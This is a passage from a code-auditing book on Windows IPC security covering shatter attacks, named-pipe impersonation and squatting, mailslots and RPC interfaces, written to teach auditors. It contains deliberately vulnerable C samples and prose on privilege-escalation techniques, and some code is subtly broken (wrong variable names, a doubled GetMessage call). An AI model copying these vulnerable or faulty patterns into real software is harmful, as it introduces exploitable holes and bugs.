BOOL InitClass(HINSTANCE hInst) 

{ 

    WNDCLASSEX wc; // Defines the class 

 

    ZeroMemory(&wc, sizeof(wnd)); 

 

    wc.hInstance = hInst; 

    wc.lpszClassName = "Main"; 

    wc.lpfnWndProc = ( WNDPROC ) MainWindowProc; 

    wc.cbSize = sizeof(WNDCLASSEX); 

 

    return RegisterClassEx( &wnd ); 

} 

 

After the handler is registered, the final two steps are to create the window and start 

the window's message pump, as shown in the following code: 

int APIENTRY WinMain( HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, 

    int nCmdShow ) 

{ 

    WINDOW hwnd; 

 

    InitClass(hInst); 

 

    // Create a message-only window 

    hwnd = CreateWindow( "Main", "Main", 0, 0, 0, 0, 0, 

        0, 0, HWND_MESSAGE, 0 ); 
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    // This is the message pump 

    while( GetMessage( &msg, 0, 0, 0 ) 

        && GetMessage(&msg, (HWND) NULL, 0, 0) != -1) 

    { 

        TranslateMessage( &msg ); 

        DispatchMessage( &msg ); 

    } 

 

    return msg.wParam; 

} 

 

This example shows the standard window message pump. The GetMessage() call 

simply blocks until it receives a message. It's followed by the translateMessage() call, 

which queues up and translates a series of virtual key signals (from keyboard input) 

and sends them as a single character string. Finally, the DispatchMessage() call 

forwards the message on to the appropriate WindowProc(). 

The code passes the HWND_MESSAGE parameter to CreateWindow(), which creates a 

message-only window. This type of window is never displayed; it just exists so that a 

process can receive and handle window messages. This window type was chosen for 

two reasons. First, it's the shortest one, which keeps you from being distracted with 

unnecessary details. Second, and more important, this type of window is used by 

services that accept window message input. You should be familiar with this window 

type because it's associated with the kinds of applications attackers target. 

There's one final function to mention, which is SendMessage(): 

LRESULT SendMessage(HWND hWnd, UINT Msg, WPARAM wParam, 

                   LPARAM lParam ); 

 

This function doesn't matter when you're reviewing code, but you need to be familiar 

with it to understand exploits associated with window messages. This function simply 

accepts a handle to a window, a message ID, and two parameters that are interpreted 

differently, depending on the message type. You've already seen the WM_CREATE and 

WM_QUIT messages, and the WM_TIMER and WM_PASTE messages are explained in the next 

section. Note that any process with a handle to a window station can send messages 

to any other window on a desktop object within that window station. All that's needed 

is a simple call to SendMessage(). 

Shatter Attacks 
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You might be wondering why the previous sections have gone through a whirlwind 

introduction to the Windows GUI. After all, the basic shatter attack was described in 

Chapter 2(? [????.]), "Design Review," so the concept should be clear. However, it's 

important to understand the extent of this issue. The Windows API ties a lot of 

functionality into a simple, unprotected, messaging architecture. Every aspect of the 

user interface is controlled by window messages, and the design of the API provides 

no method of restricting or verifying a message source. Of course, attackers must 

have access to a window station before they can send messages, but after they do, 

the potential for exploit can be fairly open ended. 

The original shatter attack exploited window message design by sending a WM_PASTE 

message to a privileged process with a message pump on the same window station. 

The WM_PASTE message allows attackers to place a buffer of shell code in the address 

space of the privileged process. The attack is then completed by sending a WM_TIMER 

message that includes the address of the shell code buffer. The default handler for the 

WM_TIMER message simply accepts the address parameter as a function pointer, and 

then immediately runs the code that's pointed to. The result is a straightforward 

privilege escalation performed by running arbitrary code in the context of a privileged 

process. 

The immediate response to the shatter vulnerability was to simply filter the WM_TIMER 

message in any privileged process interacting with a user's desktop. Unfortunately, 

the WM_TIMER message is just a symptom of the problem. The reality is that many 

messages allow manipulation of memory in a target process's address space or could 

lead to arbitrary execution. Brett Moore demonstrated a number of these messages in 

a speech at the Blackhat security conference 

(http://blackhat.com/presentations/bh-usa-04/bh-us-04-moore/bh-us-04-moorew

hitepaper.pdf). However, there are certainly new exploitable messages that have yet 

to be considered. Plus, there are unique exploit vectors in each windowed process, 

which make it unreasonable to expect developers to anticipate every one. The root of 

the problem is that a privileged process, or specifically a service, can't safely interact 

with a potentially hostile desktop. 

As a code auditor, you need to identify situations that cause a privileged service to 

interact with normal user desktops. This interaction can happen in two basic ways. 

The first is a simple operational concern; you just need to check the properties for a 

service and make sure the service isn't interactive. To do this, use the Services 

Microsoft Management Console (MMC) to open the Properties dialog box for the 

service. Then check the "Log On" tab to see whether the "Allow Service to Interact 

with Desktop" option is selected. If it is, the service is potentially vulnerable to a 

shatter attack. Figure 12-1 shows the Properties dialog box for the Windows Task 

Scheduler, which is an interactive service. 

Figure 12-1. An interactive Windows service 

http://blackhat.com/presentations/bh-usa-04/bh-us-04-moore/bh-us-04-moorewhitepaper.pdf
http://blackhat.com/presentations/bh-usa-04/bh-us-04-moore/bh-us-04-moorewhitepaper.pdf
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Services can use another method to interact with a user desktop; they can manually 

create a thread and window on the user's desktop. The following code shows this 

process: 

HWINSTA hWinsta; 

HDESK hDesk; 

 

hWinsta = OpenWindowStation("Winsta0", FALSE, MAXIMUM_ALLOWED); 

SetProcessWindowStation(hwinsta); 

hdesk = OpenDesktop("default", 0, FALSE, MAXIMUM_ALLOWED); 

SetThreadDesktop(hDesk); 
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For brevity's sake, the error checking has been left out, but this code is essentially 

how a service sets up a thread on a normal user's desktop. This code simply opens a 

handle to Winsta0 and then uses the returned handle to open the default desktop. The 

current thread is then switched to this desktop, and the thread can interact with the 

logged-on user's desktop. Of course, the thread isn't vulnerable until it starts 

processing messages. Fortunately, you know how to identify that because you walked 

through a message window setup earlier. However, don't discount the existence of a 

message window just because you can't see it. For instance, certain COM applications 

can create background message windows (as explained in "COM(? [????.])" later in 

this chapter), so you need to be aware of these possibilities. 

To summarize, when you audit a service, you should perform the following steps to 

identify potential shatter-attack exposures: 

1.  Check the MMC snap-in for the service to see whether it runs as the interactive 

user. 

2.  Examine the code to determine whether it manually attaches to the interactive 

user's desktop. 

3.  If either case is true, determine whether a message pump is in operation for 

receiving window messages. If a message pump is in operation, you can consider 

the application to be at risk. 

DDE 

Dynamic Data Exchange (DDE) is a legacy form of IPC that exchanges data by using 

a combination of window messages and shared memory. It's done in one of two ways. 

This first requires handling WM_DDE_* window messages with the PackDDElParam() and 

UnpackDDElParam() functions. The second method uses the DDE Management Library 

(DDEML) API, which includes a set of Dde* functions that wrap the window message 

handling. You can refer to the MSDN for more particulars on using DDE 

communications. 

DDE was a common form of IPC in earlier versions of Windows, but it has been mostly 

superseded by more robust mechanisms. DDE has no real security impact when used 

to establish communication between processes with the same security context. 

However, it can be used to establish communication between different user contexts 

on a shared window station or even exchange data over a network by using file shares. 

Just to make it more confusing, DDE supports impersonation of clients in a DDE 

communication. What you need to keep in mind is that any use of DDE between 

security contexts represents a potential shatter vulnerability. This includes network 

DDE, which requires a privileged service on the desktop. So vulnerable uses of DDE 

include the same type of setup as the shatter attacks described previously. 
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Terminal Sessions 

Windows Terminal Services (WTS) provides the capability for a single Windows 

system to host multiple interactive user sessions. Originally, this capability was 

available as a separate product in Windows NT Terminal Server. However, it was 

eventually incorporated into the base product line in all versions of Windows XP. 

Terminal Services is not fully functional in most Windows XP versions, but it is a 

necessary component of the Remote Assistance and Fast User Switching (FUS) 

capabilities. 

The introduction of WTS required some additional framework for interacting with 

different connections; this requirement was addressed by the addition of terminal 

sessions and their associated WTS API functions. Terminal sessions place additional 

restrictions on the interaction between processes in different sessions. For example, 

each terminal session has a unique Winsta0 associated with it, and objects are 

distinguished between sessions by using the Global\ and Local\ namespace prefixes. 

This naming setup allows the standard API functions to still work as expected, while 

the WTS API can be used for WTS-specific manipulation. 

Versions of WTS before the Vista release have an interesting quirk. They run all 

services in session 0, which is the first session the system creates. It also happens to 

be the same session used by the first interactively logged-on user. Running all 

services in session 0 unintentionally grants some extra privilege to the console user 

on a terminal server and the first user on an FUS-enabled system. The main impact is 

that a session 0 user can communicate with interactive services. 

As mentioned, an interactive service represents a serious vulnerability that could 

allow attackers to run arbitrary code in the context of a privileged service account. 

Windows Vista addresses this vulnerability by eliminating interactive services entirely. 

It restricts session 0 to services only and makes it a completely noninteractive session. 

You should make note that any software specifically targeting Windows Vista won't be 

vulnerable to the general class of shatter vulnerabilities. 

 

7.8.4 Pipes 

Pipes are a connection-oriented IPC mechanism that can be used to communicate 

data between two or more processes. There are two types of pipes: anonymous pipes 

and named pipes. An anonymous pipe is a unidirectional pipe that transfers data 

locally between two processes. Because anonymous pipes have no names, they can't 

be referred to by arbitrary processes. Generally, this means only the creating process 

can make use of an anonymous pipe, unless the pipe handle is duplicated and passed 

to another process. Usually, anonymous pipes are used for communication between 

threads in a single process or between a parent and child process. Named pipes, 

31051536.html
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conversely, can be referred to by arbitrary processes and be accessed remotely, 

depending on the access rights associated with the pipe when it's created. Because 

anonymous pipes are local and have only a few of the problems associated with 

named pipes, the following sections focus on named pipes. 

Pipe Permissions 

All pipes are securable objects, so they have specific access rights associated with 

their DACL entries. Table 12-2 summarizes the pipe permissions listed in the MSDN. 

Table 12-2. Pipe Access Rights 

Access Right Meaning 

PIPE_ACCESS_DUPLEX Allows the caller to read and write to the pipe and gives them 

SYNCHRONIZE access. 

PIPE_ACCESS_INBOUND Allows the caller to read from the pipe and gives them 

SYNCHRONIZE access. 

PIPE_ACCESS_OUTBOUND Allows the caller to write to the pipe and gives them 

SYNCHRONIZE access. 

 

As you can see, access rights for pipes are simpler than most other objects, such as 

files, so developers are less likely to inadvertently set incorrect permissions on a pipe. 

Still, vulnerabilities can result when access permissions are applied haphazardly. It 

might be possible for rogue processes to have read or write access to a pipe when 

they shouldn't, which could lead to unauthorized interaction with a pipe server. This 

problem can even occur with anonymous pipes because attackers can enumerate the 

process handle table and duplicate a handle to a pipe with weak access permissions. 

Named Pipes 

Named pipes are a multidirectional IPC mechanism for transferring data between 

unrelated processes on the same machine or different machines across a network. A 

named pipe can be uni- or bi-directional, depending on how it's created. Pipes work in 

a client/server architecture; pipe communications are made by having one pipe 

server and one or more clients. So a number of clients can be connected to a pipe 

simultaneously, but there can be only one server. 

Pipe Creation 

Pipes can be created by using CreateFile() or CreateNamedPipe(). You have already 

examined the semantics for creating and accessing pipes with CreateFile(), so you 

don't need to review this function again. The prototype for CreateNamedPipe() is 

shown as follows: 
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HANDLE CreateNamedPipe(LPCSTR lpName, DWORD dwOpenMode, 

           DWORD dwPipeMode, DWORD nMaxInstances, 

           DWORD nOutBufferSize, DWORD nInBufferSize, 

           DWORD nDefaultTimeout, 

           LPSECURITY_ATTRIBUTES lpSecurityAttributes) 

 

As you can see, the CreateNamedPipe() function allows more control over certain 

characteristics of the named pipe than CreateFile() does. In addition to the regular 

attributes, developers can optionally specify an input and output buffer size for the 

pipe, although they are only advisory values the system isn't required to honor. The 

dwOpenMode value specifies which access rights the pipe should be opened with 

(PIPE_ACCESS_DUPLEX, PIPE_ACCESS_INBOUND, or PIPE_ACCESS_OUTBOUND). In addition, 

one or more flags can be specified: 

 FILE_FLAG_FIRST_PIPE_INSTANCE This flag causes the function to fail if the pipe 

already exists. 

 FILE_FLAG_WRITE_THROUGH On certain types of pipes where the client and server 

processes are on different machines, this flag causes the client to not return 

until all data has been written to the pipe successfully. 

 FILE_FLAG_OVERLAPPED Overlapped I/O is enabled; a process doesn't need to 

wait for operations on the pipe to finish to continue running. 

The dwPipeMode value specifies what type of pipe should be created. A pipe can be 

PIPE_TYPE_BYTE, which causes pipe data to be treated as a single-byte stream, or 

PIPE_TYPE_MESSAGE, which causes data to be treated as a series of separate messages. 

The nDefaultTimeout value specifies a timeout value in milliseconds for an operation 

to be performed on the pipe, and finally, lpSecurityAttributes specifies a security 

descriptor for the pipe. 

Clients that just want to send a single message to a pipe (of type PIPE_TYPE_MESSAGE) 

don't have to go through the whole process of opening it and closing it. Instead, they 

can use the CallNamedPipe() function, which has the following prototype: 

BOOL CallNamedPipe(LPCSTR lpNamedPipe, LPVOID lpInBuffer, 

         DWORD nBufferSize, LPVOID lpOutBuffer, DWORD 

         nOutBufferSize, LPDWORD lpBytesRead, DWORD nTimeOut) 

 

This function opens the pipe specified by lpNamedPipe, writes a single message, reads 

a single response, and then closes the pipe. It's useful for clients that just need to 

perform a single pipe transaction. 

Impersonation in Pipes 
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A named pipe server can impersonate the credentials of client servers that connect to 

it. This impersonation is achieved by using the ImpersonateNamedPipeClient() 

function, which has the following prototype: 

BOOL ImpersonateNamedPipeClient(HANDLE hNamedPipe) 

 

As you can see, this function simply takes a handle to a named pipe and then returns 

a value of TRUE or FALSE, depending on whether impersonation is successful. If it's 

successful, the thread impersonates the context associated with the last message 

read from the pipe. The last message read requirement gets a bit sticky. If the 

connection is local, impersonation always fails unless data has first been read from 

and written to the pipe. However, if the client is remote, the impersonation might 

succeed because messages are transferred in establishing the connection. In either 

case, it's best to make sure the pipe is read from before impersonation is attempted. 

Next, you need to examine the use of impersonation levels. In the context of named 

pipes, clients can restrict the degree to which a server can impersonate them by 

specifying an impersonation level in the call to CreateFile(). Specifically, the 

impersonation level can be indicated in the dwFlagsAndAttributes parameter. Here's 

the CreateFile() function prototype again: 

HANDLE CreateFile(LPCSTR lpFileName, DWORD dwDesiredAccess, 

           DWORD dwSharedMode, 

           LPSECURITY_ATTRIBUTES lpSecurityAttributes, 

           DWORD dwCreationDisposition, 

           DWORD dwFlagsAndAttributes, 

           HANDLE hTemplateFile) 

 

By including the SECURITY_SQOS_PRESENT flag in the dwFlagsAndAttributes parameter, 

you can specify the following impersonation flags: 

 SECURITY_ANONYMOUS This flag enforces the SecurityAnonymous impersonation 

level for the object being opened. 

 SECURITY_IDENTIFICATION This flag enforces the SecurityIdentification 

impersonation level for the object being opened. 

 SECURITY_IMPERSONATION This flag enforces the SecurityImpersonation 

impersonation level for the object being opened. 

 SECURITY_DELEGATION This flag enforces the SecurityDelegation impersonation 

level for the object being opened. 

 SECURITY_EFFECTIVE_ONLY This flag causes any changes made via 

AdjustToken*() functions to be ignored. 

 SECURITY_CONTEXT_TRACKING The security tracking mode is dynamic. 
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Clients can protect their credentials from malicious servers by using these flags, so 

you should always be on the lookout for instances in which a client is overly 

permissive in the impersonation it allows. You also need to pay close attention to 

common oversights when applying these protections. Try to spot the bug in the 

following code. 

BOOL SecureOpenPipe(void) 

{ 

    HANDLE hPipe; 

 

    hPipe = CreateFile("\\\\.\\pipe\\MyPipe", GENERIC_ALL, 0, NULL, 

        OPEN_EXISTING, SECURITY_IDENTIFICATION, NULL); 

 

    if(hPipe == INVALID_HANDLE_VALUE) 

        Return FALSE; 

 

    ... do pipe stuff ... 

} 

 

Did you see it? The developers are trying to protect the client from connecting to a 

malicious server by enforcing the SECURITY_IDENTIFICATION impersonation level. It's a 

great idea, but poor execution. They forgot to use the SECURITY_SQOS_PRESENT flag, so 

the SECURITY_IDENTIFICATION flag is completely ignored! A correct implementation 

would look like this: 

BOOL SecureOpenPipe(void) 

{ 

    HANDLE hPipe; 

 

    hPipe = CreateFile("\\\\.\\pipe\\MyPipe", GENERIC_ALL, 0, NULL, 

        OPEN_EXISTING, 

        SECURITY_SQOS_PRESENT|SECURITY_IDENTIFICATION, NULL); 

 

    if(hPipe == INVALID_HANDLE_VALUE) 

        Return FALSE; 

 

    ... do pipe stuff ... 

} 

 

It is also important to audit how servers might use impersonation. In "Impersonation 

Issues" (MSDN Code Secure, March 2003; 

http://msdn.microsoft.com/library/en-us/dncode/html/secure03132003.asp), 

Michael Howard points out the dangers of not checking return values of an 

http://msdn.microsoft.com/library/en-us/dncode/html/secure03132003.asp
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impersonation function. Say a server accepts a connection from a client and then 

wants to access an object on the client's behalf. To do this, it impersonates the user 

and then proceeds to access the object, as shown in this example: 

BOOL ProcessRequest(HANDLE hPipe) 

{ 

 

    BOOL rc; 

    DWORD bytes; 

    unsigned char buffer[BUFSIZ], fname[BUFSIZ]; 

 

    for(;;) 

    { 

        rc = ReadFile(hPipe, buffer, BUFSIZ, &bytes, NULL); 

 

        if(rc == FALSE) 

            break; 

        if(bytes <= 0) 

            break; 

 

        switch(buffer[0]) 

        { 

            case REQUEST_FILE: 

                extract_filename(buffer, bytes, fname); 

 

                ImpersonateNamedPipeClient(hPipe); 

                write_file_to_pipe(hPipe, fname); 

                RevertToSelf(); 

 

                break; 

 

            ... other request types ... 

        } 

    } 

    ... more stuff here ... 

} 

 

This code is from a named pipe server that can receive a number of requests, one of 

which is for reading certain files. The code fails to check the return value of the 

ImpersonateNamedPipeClient() function, however. If this function fails, the 

application's privileges and access rights are unchanged from its original state. 

Therefore, a file is accessed with the original permissions of the server process 

instead of the connecting client's. 
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You might be wondering "But why would impersonation functions fail? Can a 

malicious client prompt that?" Yes, it can. You just learned that when auditing clients, 

you want to look for the presence or absence of enforcing impersonation levels on the 

server. A malicious client could also use these levels to prohibit the server from 

impersonating the client. Even something as simple as failing to read from the pipe 

first may cause the impersonation call to fail. This failure could result in the object 

being accessed at a higher privilege than intended. 

Pipe Squatting 

As with many other types of objects, named pipes existing in the object namespace 

introduces the possibility for name-squatting vulnerabilities. Developers must be 

careful in deciding how applications create and access named pipes. When auditing an 

application, you need to look at this issue from both sides of the fence: the 

implications for servers that are vulnerable to name squatting and the implications for 

clients that are vulnerable to name squatting. 

Servers 

A server can be vulnerable to name squatting if it uses a predictable pipe name and 

fails to check whether the pipe has already been created. A server can also be 

vulnerable to name squatting if it creates a pool of pipes and uses ConnectNamedPipe() 

to service multiple connections. A pool of pipes is established by creating and 

connecting multiple instances of the same pipe and specifying the same value for 

nMaxInstances on each call to CreateNamedPipe(). Depending on the timing of pipe 

creation and connection, attackers might be able to squat on a pipe and impersonate 

the server. 

When creating a single-instance pipe using CreateFile(), a squatting vulnerability 

can occur in much the same way it does with files: The server neglects to use the 

CREATE_NEW flag in its dwCreationDisposition parameter. When CreateNamedPipe() is 

used for a single instance, the problem happens when the dwOpenMode parameter 

doesn't contain FILE_FLAG_FIRST_PIPE_INSTANCE (available only in Windows 2000 SP2 

and later). Here's an example of a vulnerable call: 

BOOL HandlePipe(SECURITY_DESCRIPTOR *psd) 

{ 

    HANDLE hPipe; 

 

    hPipe = CreateNamedPipe("\\\\.\\pipe\\MyPipe", 

        PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE, 

        PIPE_UNLIMITED_INSTANCES, 1024, 1024, 

        NMPWAIT_USE_DEFAULT_WAIT, psd); 

 

    if(hPipe == INVALID_HANDLE_VALUE 
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       || ConnectNamedPipe(hPipe, NULL)) { 

        CloseHandle(hPipe); 

        return FALSE; 

    } 

 

    ... do stuff with the pipe ... 

 

    DisconnectNamedPipe(); 

} 

 

This server fails to specify FILE_FLAG_FIRST_PIPE_INSTANCE or limit the number of 

connections. Therefore, attackers can create and connect to a pipe named "MyPipe" 

before this application. Because attackers start listening on the pipe first, the client 

connects to them first. Depending on timing and the number of instances allowed, the 

real server might receive an error or have a valid pipe handle that's last in the 

connection queue. If the server creates a pipe successfully and is the last thread in 

the connection, it can just continue along happily. It might even perform sensitive 

operations based on the assumption that the pipe is valid. 

Clients 

Clients are actually more susceptible to name squatting with named pipes because 

they might unintentionally connect to a malicious pipe server. Guardent Technologies 

disclosed this type of vulnerability in August 2000 

(www.securityfocus.com/advisories/2472). The Windows 2000 Service Control 

Manager (SCM) uses a predictable named pipe for communication with services. 

However, the SCM didn't check for preexisting pipes when starting a service. This 

meant attackers could simply create the pipe and start any service that could be 

started by a normal user (the ClipBook service, for example). The target service 

would then connect to the attacker-controlled pipe and the attacker would escalate 

privilege by impersonating the service account. 

Fortunately, the introduction of the SeImpersonatePrivilege has gone a long way 

toward eliminating this type of impersonation vulnerability. However, it's still a viable 

attack for older systems and for breaking the isolation of restricted service accounts. 

Even without impersonation, this attack is still a successful denial of service. It also 

provides a trusted channel into a privileged process, which could expose sensitive 

data or other potential vulnerabilities. 

 

7.8.5 Mailslots 

http://www.securityfocus.com/advisories/2472
31051536.html
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Mailslots are another IPC mechanism offered by Windows. In contrast to named 

pipes, mailslots are neither connection-oriented nor bidirectional; clients simply send 

messages to a server process. Mailslot clients never read from a mailslot; only 

servers can (the server being the process that has a handle to the mailslot object). 

The limited functionality mailslots offer translates into much less work for code 

auditors. However, for the sake of completeness, the following sections run through 

some basics. 

Mailslot Permissions 

Mailslots don't have a unique set of access rights. Instead, they use the standard file 

access rights discussed in Chapter 11(? [????.]). Their permissions can be audited in 

the same manner as standard file permissions. 

Mailslot Squatting 

Mailslot squatting isn't possible in the same way it is with most other named objects 

because mailslots have only a creation function, CreateMailslot(), which fails if a 

mailslot of the same name already exists. The client end of a mailslot is then opened 

with CreateFile(), which fails if you attempt to open a mailslot that doesn't exist. 

There's the possibility of a client sending messages to a server it didn't intend to. This 

error occurs when a malicious user creates the mailslot before the server, so when the 

server starts and fails to create a mailslot, it simply exits, leaving the malicious 

mailslot in the object namespace for clients to connect to. This attack allows the rogue 

application to impersonate the server and read messages from clients, which could 

result in an information leak. 

7.8.6 Remote Procedure Calls 

The Remote Procedure Call (RPC) is an integral part of Windows operating systems. 

Essentially, RPC is a client/server protocol that application developers can use to call 

procedures on a local or remote node. Although developers often need to direct a 

client application to specifically connect to a remote machine, the connection details 

and data marshalling are done behind the scenes by the RPC layer. This behavior 

shelters developers from the details of how data is passed between the two machines 

and the manner in which procedures are called. 

There are two primary RPC protocols: Open Network Computing (ONC) RPC 

(sometimes called SunRPC) and Distributed Computing Environment (DCE) RPC. 

Chapter 10(? [????.]), "UNIX II: Processes," discusses ONC RPC as it pertains to UNIX 

applications. Microsoft uses DCE RPC, which is quite different, but from a 

code-auditing perspective, the basic procedures for locating exposed code are similar. 

Microsoft RPC programs have some additional complications, discussed in the 

following sections. 
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RPC Connections 

Before you get into the details of auditing RPC programs, you need to be aware of 

some basics of how clients and servers communicate. Before a client can call a remote 

procedure, it needs to create a binding to the destination interface. A binding is an 

application-level connection between the client and server. It contains connection 

details, including the authentication state, and is expressed structurally in RPC 

programs through binding handles. Binding handles are used to subsequently 

perform operations such as calling procedures, establishing authentication, and so 

on. 

The following sections refer to an endpoint mapper, which is an RPC component 

used to establish bindings. Most of the endpoint mapper's operation is handled 

implicitly from a code-auditing standpoint, so you don't need to concern yourself too 

much with it. Just be aware it exists and is responsible for establishing a binding 

between the RPC client and server. 

RPC Transports 

The Windows RPC layer is transport independent, meaning it can package its data 

structures on top of a variety of underlying protocols. When you see a function that 

takes a "protocol sequence" argument, it's referring to the protocol used to transport 

RPC data between two endpoints. The selected transport can definitely affect the 

application's security, as explained in the following sections. These RPC protocols are 

divided into three categories, described in the next three sections. 

NCACN 

The network computing architecture connection-oriented protocol (NCACN) is for RPC 

applications that need to communicate remotely across a network. Protocols in these 

categories are connection oriented, meaning they provide reliable, two-way, 

end-to-end connections for the duration of a session. Table 12-3 lists the protocols 

available in this category. 

Table 12-3. NCACN Protocol Sequences 

Protocol Sequence Description 

ncacn_nb_tcp NetBIOS over TCP 

ncacn_nb_ipx NetBIOS over Internetwork Packet Exchange (IPX) 

ncacn_nb_nb NetBIOS Enhanced User Interface (NetBEUI) 

ncacn_ip_tcp RPC data sent over regular TCP/IP connections 

ncacn_np RPC data sent over named pipes 
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Table 12-3. NCACN Protocol Sequences 

Protocol Sequence Description 

ncacn_spx RPC data sent over Sequenced Packet Exchange (SPX) 

ncacn_dnet_nsp DECnet transport 

ncacn_at_dsp AppleTalk DSP 

ncacn_vns_spp Vines scalable parallel processing transport 

ncacn_http RPC over HTTP (which runs on top of TCP) 

 

 

NCADG 

The network computing architecture datagram protocol (NCDAG) is also reserved for 

RPC applications that need to communicate with remote nodes across a network. 

Unlike NCACN protocols, however, the NCADG protocols provide a connectionless 

transport. Table 12-4 lists the valid protocol sequences. 

Table 12-4. NCADG Protocol Sequences 

Protocol Sequence Description 

ncadg_ip_udp RPC traffic sent over User Datagram Protocol (UDP) 

ncadg_ipx RPC traffic sent over IPX 

 

 

NCALRPC 

The network computing architecture local remote procedure call protocol (NCALRPC) 

is used by RPC applications in which the client and server reside on the same machine. 

Local RPC calls, also know as local procedure calls (LPC), are a function of the OS and 

don't require any further qualification; that is, there's no requirement for other 

protocols or IPC mechanisms to be used to send RPC data between the client and the 

server. Hence, the only protocol sequence for local RPC calls is simply ncalrpc. 

Microsoft Interface Definition Language 

When auditing RPC servers, you should start with procedures that can be called 

remotely with untrusted user input. A lot of RPC servers define their interface in terms 

of the available procedures and what arguments those procedures take. Microsoft 

provides Microsoft Interface Definition Language (MIDL), a simplified language for 

defining these interfaces. MIDL has a C-like structure, which makes it fairly easy for 

most programmers to use. Look for .idl files when you're reviewing code; they 

contain the definitions that generate C/C++ stubs for RPC applications. The structure 
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of these files and how they produce the client and server interfaces RPC applications 

use are covered in the following sections. 

IDL File Structure 

An IDL file is composed of two main parts: an interface header and an interface body. 

These two sections define an RPC interface for a program and are quite easy to follow. 

IDL Interface Header 

An interface header appears at the beginning of an interface definition and is enclosed 

in square brackets ([ and ]). Within those brackets is a series of interface-specific 

attributes separated by commas. These attributes have the following syntax: 

attribute_name(attribute_arguments) 

 

For example, an attribute with the name version and the argument 1.1 would appear 

as version(1.1). Many attributes can be used, but the main ones are uuid, version, 

and endpoint. The first two simply provide the universal unique ID (UUID) of the RPC 

interface and the version number of the application this interface definition 

represents. The endpoint attribute specifies where the RPC server receives requests 

from. Endpoint transports are described in terms of a protocol sequence and a port. 

The protocol sequence describes what transports the RPC interface is accessible over. 

The format of the port (or, more appropriately, the endpoint) is specific to the 

protocol sequence. Putting all this information together, here's an example of an 

interface header: 

[ 

   uuid(12345678-1234-1234-1234-123456789012), 

   version(1.1), 

   endpoint("ncacn_ip_tcp:[1234]") 

] 

 

In this example, the RPC server accepts requests only via TCP/IP on port 1234. 

IDL Definition Body 

After the interface definition header is the definition body, which details all the 

procedures available for clients to use and the arguments those procedures take. The 

definition body begins with the interface keyword, followed by the interface's 

human-readable name and the interface definition enclosed in curly braces. Here's an 

example of a definition body: 

interface myinterface 
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{ 

    ... definition goes here ... 

} 

 

Inside the curly braces are the definitions for procedures that can be called by clients 

and are implemented elsewhere in the application. The remote procedure prototypes 

are similar to C function prototypes, except each function and argument to a function 

can contain additional attributes enclosed in square brackets. Again, you might 

encounter quite a few of these attributes, but most of them are fairly self-explanatory. 

Typically, the only information that needs to be indicated is whether the argument is 

for input (function attribute in) or output (function attribute out). An example of an 

interface definition is shown: 

interface myinterface 

{ 

    int RunCommand([in] int command, 

                [in, string] unsigned char *arguments, 

                [out, string] unsigned char *results); 

} 

 

This interface definition is quite simple; it provides just one interface for running a 

command. It fails to address some important considerations, such as authentication 

and maintaining session state. However, it does show what a basic interface looks like, 

so you can move on to the details in the following sections. 

Compiler Features 

The Microsoft IDL compiler includes a few options that can improve an RPC 

application's security. The range attribute provides a method for restricting the values 

of a numeric field. It can be used to restrict data types along with attributes such as 

size_is and length_is. Here's an example: 

interface myinterface2 

{ 

    int SendCommand([in, range(0, 16)] int msg_id, 

                [in, range(0, 1023)] int msg_len, 

                [in, length_is(msg_len)] unsigned char *msg); 

} 

 

This interface restricts the value of msg_len to a known range and forces the length of 

msg to match. These types of rigid interface restrictions can prevent vulnerabilities in 

the code. Of course, defining restrictions doesn't help if the compiler does not apply 
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them. The /robust switch must be used as a compilation option. This compiler switch 

handles the range keyword and builds in additional consistency checks. This capability 

is available only in Windows 2000 and later. 

Application Configuration Files 

In addition to IDL files, each interface has application configuration files (ACFs). 

Whereas the IDL file describes an interface specification that clients and servers need 

to adhere to, the ACF describes attributes that are local to the client or server 

application and affect certain behaviors. For example, code and nocode attributes can 

be used in an ACF to direct the MIDL compiler to not bother generating stubs for 

various parts of the interface because they aren't used in this application. ACFs have 

the same format as their IDL counterparts, except the attributes they specify don't 

alter the interface definition. They have an attribute list defined in square brackets 

followed by the interface keyword and an interface definition. The definition must be 

identical to the one in the IDL file that defines the same interface. 

You should note a couple of points about ACFs and IDL files. First, they are optional. 

An application doesn't need to make an ACF to build a working RPC application. If the 

ACF doesn't exist, no special options are enabled. Further, the contents of the ACF 

can be put in an IDL file; it doesn't matter to the MIDL compiler. So you often 

encounter ACF attributes in an IDL file. 

RPC Servers 

Now you have a basic idea of what to audit and where to start. Next, you need to 

examine how an RPC server might control the exposure of its network interfaces. This 

means you need to be familiar with how the RPC interface is registered and what 

impact registration might have on the application's attack surface. 

Registering Interfaces 

The basic registration of an RPC interface is achieved with one of two functions, 

described in the following paragraphs. 

The RpcServerRegisterIf() function is the primary means for registering an interface 

with the endpoint mapper: 

void RPC_ENTRY RpcServerRegisterIf(RPC_IF_HANDLE IfSpec, 

         UUID *MgrTypeUuid, RPC_MGR_EPV *MgrEpv) 

 

The first parameter is an RPC interface handle, which is a structure generated 

automatically by the MIDL compiler. The second argument associates a UUID with the 

third argument, an entry point vector (EPV). The EPV is a table of function pointers to 

the RPC routines available to clients connecting to the interface. Generally, the 
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second and third arguments are NULL, which causes no UUID to be associated with 

the EPV and accepts the default EPV generated by the MIDL compiler. 

The RpcServerRegisterIfEx() function gives developers more control in registering an 

RPC interface: 

RPC_STATUS RPC_ENTRY RpcServerRegisterIfEx(RPC_IF_HANDLE IfSpec, 

        UUID *MgrTypeUuid, RPC_MGR_EPV *MgrEpv, 

        unsigned int Flags, unsigned int MaxCalls, 

        RPC_IF_CALLBACK_FN *IfCallback) 

 

This function can be used to restrict the interface's availability. Of particular note is 

the last parameter, which is a security callback function. It's called whenever a client 

attempts to call a procedure from the interface being registered. This function is 

intended to evaluate each connecting client and whether it should have access to the 

interface. It's called automatically whenever a client attempts to access an interface. 

The Flags parameter also has some interesting side effects on how the server 

behaves. These are the two most security-relevant flags: 

 RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH Normally, registering a security 

callback function doesn't prevent unauthenticated RPC calls from being 

rejected automatically. Specifying this flag negates that behavior, permitting 

unauthenticated calls. This flag requires the callback function to permit or 

deny the request based on other criteria. 

 RPC_IF_ALLOW_LOCAL_ONLY Requests are allowed only from local named pipes 

(ncacn_np) or local RPC (ncalrpc). All requests from other protocol sequences 

or via remote named pipes are rejected automatically. 

RPC interfaces can also be registered through the following function: 

RPC_STATUS RPC_ENTRY RpcServerRegisterIf2(RPC_IF_HANDLE IfSpec, 

